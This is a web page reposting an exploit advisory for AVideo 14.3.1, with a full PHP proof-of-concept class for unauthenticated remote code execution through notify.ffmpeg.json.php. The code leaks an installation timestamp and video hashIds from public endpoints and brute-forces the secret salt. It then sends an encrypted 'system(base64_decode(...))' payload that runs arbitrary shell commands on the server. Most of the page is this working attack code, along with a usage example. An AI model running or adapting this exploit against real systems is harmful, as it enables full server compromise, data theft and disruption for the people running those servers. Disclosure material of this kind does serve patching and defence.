Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

AVideo 14.3.1 notify.ffmpeg.json.php Remote Code Execution

=============================================================================================================================================
| # Title AVideo 14.3.1 notify.ffmpeg.json.php Remote Code Execution

=============================================================================================================================================
| # Title : AVideo 14.3.1 via notify.ffmpeg.json.php Unauthenticated Remote Code Execution |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://github.com/WWBN/AVideo |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213984/ & CVE-2025-34433, CVE-2025-34441, CVE-2025-34442

[+] Summary : Multiple critical vulnerabilities in the AVideo platform allow unauthenticated remote code execution (RCE) through the plugin/API/notify.ffmpeg.json.php endpoint.
Affected versions (? 14.3.1) expose weaknesses in cryptographic design and access control, enabling attackers to derive or bypass required secrets (salt/hashId)
using publicly accessible endpoints and predictable installation timestamps. By abusing these flaws, an attacker can craft a malicious notification request
that results in arbitrary command execution on the server without authentication.
The impact includes full server compromise, data theft, service disruption, and lateral movement.
Immediate patching, access restriction, and defensive hardening are strongly recommended.

[+] PoC : php poc.php

<?php

class AVideoExploit {
private $target;
private $baseUrl;
private $salt;
private $systemRoot;
private $videoInfo;
private $timestamps;
private $endpointCache = [];
private $version;
private $notifyExists = false;
private $timestampAccessible = false;
private $hashidAccessible = false;

public function __construct($target, $baseUrl = '/', $salt = '', $systemRoot = '/var/www/html/AVideo/') {
$this->target = $target;
$this->baseUrl = rtrim($baseUrl, '/');
$this->salt = $salt;
$this->systemRoot = $systemRoot;
}

public function exploit($payload) {
$this->gatherInfo();

if (!$this->discoverSalt()) {
throw new Exception('Failed to discover salt');
}

$callbackPayload = $this->phpExecCmd($payload);
return $this->sendRcePayload($callbackPayload);
}

public function check() {
$this->gatherInfo();

if (!$this->notifyExists) {
return 'Safe: notify.ffmpeg.json.php not found (requires 14.3.1+)';
}

$saltProvided = !empty($this->salt);
if (!$saltProvided) {
if (!$this->timestampAccessible) {
return 'Safe: categories.json.php inaccessible (timestamp leak required)';
}
if (!$this->hashidAccessible) {
return 'Safe: hashId endpoints inaccessible';
}
}

if ($this->version && version_compare($this->version, '14.3.1', '>=')) {
return "Vulnerable version {$this->version} detected";
} elseif ($this->version) {
return "Version {$this->version} requires 14.3.1+";
}

return 'Prerequisites met (version unknown)';
}

private function gatherInfo() {
if ($this->notifyExists && $this->timestampAccessible && $this->hashidAccessible) {
return;
}

echo "[*] Gathering target information...\n";
$this->detectVersion();
$this->notifyExists = $this->checkNotifyEndpoint();

$this->timestampAccessible = $this->checkEndpoint('objects/categories.json.php');
if ($this->timestampAccessible && empty($this->timestamps)) {
$this->timestamps = $this->getTimestamps();
}

if (empty($this->videoInfo)) {
$this->videoInfo = $this->getVideoInfo();
}
$this->hashidAccessible = !empty($this->videoInfo);
}

private function detectVersion() {
$response = $this->sendRequest($this->baseUrl . '/index.php');
if (!$response || !str_contains($response, '200 OK')) {
return;
}

$body = $this->extractBody($response);
if (preg_match('/Powered by AVideo ? Platform v([\d.]+)/', $body, $matches) ||
preg_match('/<!--.*?v:([\d.]+).*?-->/s', $body, $matches)) {
$this->version = $matches[1];
echo "[+] Detected AVideo version: {$this->version}\n";
}
}

private function checkEndpoint($path) {
$response = $this->sendRequest($this->baseUrl . '/' . $path);
return $response && str_contains($response, '200 OK');
}

private function checkNotifyEndpoint() {
$response = $this->sendRequest($this->baseUrl . '/plugin/API/notify.ffmpeg.json.php');
return $response && str_contains($response, '403') && str_contains($response, 'Empty notifyCode');
}
private function getTimezones() {
$response = $this->sendRequest($this->baseUrl . '/objects/getTimes.json.php');
if (!$response || !str_contains($response, '200 OK')) {
return [null, null];
}

$body = $this->extractBody($response);
$data = json_decode($body, true);

if (!$data) {
return [null, null];
}

return [
$data['_serverSystemTimezone'] ?? null,
$data['_serverDBTimezone'] ?? null
];
}
private function getTimestamps() {
echo "[*] Leaking installation timestamp...\n";

list($systemTz, $dbTz) = $this->getTimezones();
echo "[+] Server timezones: system={$systemTz}, db={$dbTz}\n";

$response = $this->sendRequest($this->baseUrl . '/objects/categories.json.php');
if (!$response || !str_contains($response, '200 OK')) {
return [];
}

$body = $this->extractBody($response);

// Try JSON parsing first
$timestamps = $this->parseTimestampsFromJson($body, $systemTz, $dbTz);
if (!empty($timestamps)) {
return $timestamps;
}

// Fallback to regex
return $this->parseTimestampsFromRegex($body, $systemTz, $dbTz);
}
private function parseTimestampsFromJson($body, $systemTz, $dbTz) {
$data = json_decode($body, true);
if (!$data || !isset($data['rows']) || !is_array($data['rows']) || empty($data['rows'])) {
return [];
}

$firstCategory = null;
foreach ($data['rows'] as $category) {
if (!$firstCategory || $category['id'] < $firstCategory['id']) {
$firstCategory = $category;
}
}

if (!$firstCategory || !isset($firstCategory['created'])) {
return [];
}

$timestamps = $this->datetimeToTimestamps($firstCategory['created'], $systemTz, $dbTz);
echo "[+] Installation timestamp: {$firstCategory['created']} -> {$timestamps[0]}\n";

return $timestamps;
}
private function parseTimestampsFromRegex($body, $systemTz, $dbTz) {
if (!preg_match_all('/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/s', $body, $matches)) {
return [];
}

$minId = PHP_INT_MAX;
$created = null;

for ($i = 0; $i < count($matches[0]); $i++) {
$id = (int)$matches[1][$i];
if ($id < $minId) {
$minId = $id;
$created = $matches[2][$i];
}
}

if (!$created) {
return [];
}

$timestamps = $this->datetimeToTimestamps($created, $systemTz, $dbTz);
echo "[+] Installation timestamp (regex): {$created} -> {$timestamps[0]}\n";

return $timestamps;
}

private function datetimeToTimestamps($dtStr, $systemTz, $dbTz) {
try {
$dt = DateTime::createFromFormat('Y-m-d H:i:s', $dtStr);
if (!$dt) {
return [];
}

$timezones = array_unique(array_filter([$systemTz, $dbTz, 'UTC']));
$timestamps = [];

foreach ($timezones as $tz) {
try {
$dt->setTimezone(new DateTimeZone($tz));
$timestamps[] = dechex($dt->getTimestamp());
} catch (Exception $e) {
// Skip invalid timezone
}
}

return array_unique($timestamps);
} catch (Exception $e) {
echo "[-] Error converting datetime: " . $e->getMessage() . "\n";
return [];
}
}

private function getSystemRoot() {
if (!empty($this->systemRoot)) {
return $this->systemRoot;
}

// Try to extract from cached responses
$systemRoot = $this->extractSystemRootFromCache();
if ($systemRoot) {
echo "[+] System root leaked: {$systemRoot}\n";
$this->systemRoot = $systemRoot;
return $systemRoot;
}

echo "[*] Using fallback system root: {$this->systemRoot}\n";
return $this->systemRoot;
}
private function extractSystemRootFromCache() {
$pattern = '/"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/';

foreach ($this->endpointCache as $body) {
if (preg_match_all($pattern, $body, $matches)) {
foreach ($matches[1] as $path) {
$path = str_replace('\\/', '/', $path);
$root = $this->findRootInPath($path);
if ($root) {
return $root;
}
}
}
}

return null;
}
private function findRootInPath($path) {
$subdirs = ['/view/', '/videos/', '/plugin/'];

foreach ($subdirs as $subdir) {
if (strpos($path, $subdir) !== false) {
$parts = explode($subdir, $path, 2);
return $parts[0] . '/';
}
}

return null;
}

private function getVideoInfo() {
echo "[*] Leaking video hashId...\n";

$endpoints = [
$this->baseUrl . '/objects/videosAndroid.json.php',
$this->baseUrl . '/plugin/API/get.json.php?APIName=video',
$this->baseUrl . '/view/info.php'
];

foreach ($endpoints as $endpoint) {
try {
$info = $this->extractVideoInfoFromEndpoint($endpoint);
if ($info) {
return $info;
}
} catch (Exception $e) {
echo "[-] Error checking {$endpoint}: " . $e->getMessage() . "\n";
}
}

return null;
}

private function extractVideoInfoFromEndpoint($endpoint) {
// Use cached response if available
$body = $this->endpointCache[$endpoint] ?? null;

if (!$body) {
$response = $this->sendRequest($endpoint);
if (!$response || !str_contains($response, '200 OK')) {
return null;
}

$body = $this->extractBody($response);
$this->endpointCache[$endpoint] = $body;
}

$data = json_decode($body, true);
if (!$data) {
return null;
}

$videos = $data['videos'] ??
($data['response']['rows'] ??
(is_array($data['response']) ? $data['response'] : []));

if (empty($videos)) {
return null;
}

foreach ($videos as $video) {
if (isset($video['id'], $video['hashId'])) {
$hashId = $video['hashId'];
$cipher = strlen($hashId) < 16 ? 'RC4' : 'AES-128-CBC';

echo "[+] Video ID={$video['id']}, hashId={$hashId} ({$cipher})\n";

return [
'id' => (int)$video['id'],
'hash_id' => $hashId,
'cipher' => $cipher
];
}
}

return null;
}

private function computeHashId($videoId, $salt, $cipherType = 'AES-128-CBC') {
$key = substr(md5($salt), 0, 16);
$plaintext = base_convert($videoId, 10, 32);

if ($cipherType === 'RC4') {
// RC4 implementation
$s = range(0, 255);
$j = 0;

for ($i = 0; $i < 256; $i++) {
$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
}

$i = $j = 0;
$ciphertext = '';

for ($k = 0; $k < strlen($plaintext); $k++) {
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;

$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;

$ciphertext .= chr(ord($plaintext[$k]) ^ $s[($s[$i] + $s[$j]) % 256]);
}

return rtrim(strtr(base64_encode($ciphertext), '+/', '-_'), '=');
} else {
// AES-128-CBC
$iv = $key;
$ciphertext = openssl_encrypt(
$plaintext,
'aes-128-cbc',
$key,
OPENSSL_RAW_DATA,
$iv
);

if ($ciphertext === false) {
return null;
}

return rtrim(strtr(base64_encode($ciphertext), '+/', '-_'), '=');
}
}

private function encryptPayload($payload) {
$key = substr(hash('sha256', $this->salt), 0, 32);
$iv = substr(hash('sha256', $this->systemRoot), 0, 16);

$ciphertext = openssl_encrypt(
$payload,
'aes-256-cbc',
$key,
OPENSSL_RAW_DATA,
$iv
);

return base64_encode(base64_encode($ciphertext));
}

private function testSaltCandidate($candidate, $video) {
$computedHashId = $this->computeHashId($video['id'], $candidate, $video['cipher']);
return $computedHashId === $video['hash_id'];
}

private function bruteforceSalt($timestamps, $video) {
echo "[*] Bruteforcing salt ({$video['cipher']})...\n";

$startTime = microtime(true);
$total = count($timestamps) * 0x100000;

foreach ($timestamps as $tsIdx => $tsHex) {
for ($micro = 0; $micro < 0x100000; $micro++) {
$candidate = sprintf('%s%05x', $tsHex, $micro);

if ($this->testSaltCandidate($candidate, $video)) {
$elapsed = round(microtime(true) - $startTime, 2);
echo "\n[+] Salt found: {$candidate} (in {$elapsed}s)\n";
return $candidate;
}

// Progress reporting
if ($micro % 100000 === 0 && $micro > 0) {
$current = ($tsIdx * 0x100000) + $micro;
$pct = round(100.0 * $current / $total, 1);
$formattedMicro = number_format($micro);
echo "\r[*] [" . ($tsIdx + 1) . "/" . count($timestamps) . "] {$tsHex}: {$formattedMicro} ({$pct}%)";
}
}
}

echo "\n";
return null;
}

private function discoverSalt() {
if (!empty($this->salt)) {
echo "[+] Using provided salt: {$this->salt}\n";
return !empty($this->getSystemRoot());
}

$this->getSystemRoot();

if (empty($this->timestamps)) {
$this->timestamps = $this->getTimestamps();
}

if (empty($this->videoInfo)) {
$this->videoInfo = $this->getVideoInfo();
}

if (empty($this->timestamps) || empty($this->videoInfo)) {
return false;
}

$this->salt = $this->bruteforceSalt($this->timestamps, $this->videoInfo);
return $this->salt !== null;
}

private function sendRcePayload($callbackPayload) {
$notifyCode = $this->encryptPayload('valid');
$callback = $this->encryptPayload($callbackPayload);

$filename = $this->randomString(rand(8, 16));
$ext = ['mp4', 'avi', 'mkv', 'mov', 'webm'][rand(0, 4)];
$fullFilename = "{$filename}.{$ext}";

$notifyData = [
'avideoPath' => $fullFilename,
'avideoRelativePath' => $fullFilename,
'avideoFilename' => $filename
];

shuffle($notifyData);
$notify = json_encode($notifyData);

$params = [
'notifyCode' => $notifyCode,
'notify' => $notify,
'callback' => $callback
];

shuffle($params);

$queryString = http_build_query($params);
$url = $this->baseUrl . '/plugin/API/notify.ffmpeg.json.php?' . $queryString;

return $this->sendRequest($url);
}

private function parseErrorFromResponse($response) {
if (!$response) {
return 'No response';
}

$body = $this->extractBody($response);
$data = json_decode($body, true);

if (!$data) {
return null;
}

if (!empty($data['msg'])) {
return $data['msg'];
}

if (isset($data['error']) && $data['error'] === true) {
return 'Unknown error';
}

return null;
}

private function phpExecCmd($cmd) {
return 'system(base64_decode("' . base64_encode($cmd) . '"));';
}

private function sendRequest($url) {
$ch = curl_init();

curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 5,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

return $response ? "HTTP/1.1 {$httpCode}\r\n" . $response : false;
}

private function extractBody($response) {
$parts = explode("\r\n\r\n", $response, 2);
return count($parts) > 1 ? $parts[1] : $response;
}

private function randomString($length) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$result = '';

for ($i = 0; $i < $length; $i++) {
$result .= $chars[rand(0, strlen($chars) - 1)];
}

return $result;
}
}

/**
* Usage example:
*
* $exploit = new AVideoExploit('http://target.com', '/AVideo', '', '/var/www/html/AVideo/');
*
* // Check vulnerability
* echo $exploit->check() . "\n";
*
* // Execute payload
* $payload = 'id'; // Command to execute
* $response = $exploit->exploit($payload);
* echo $response . "\n";
*/

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

Social Media Share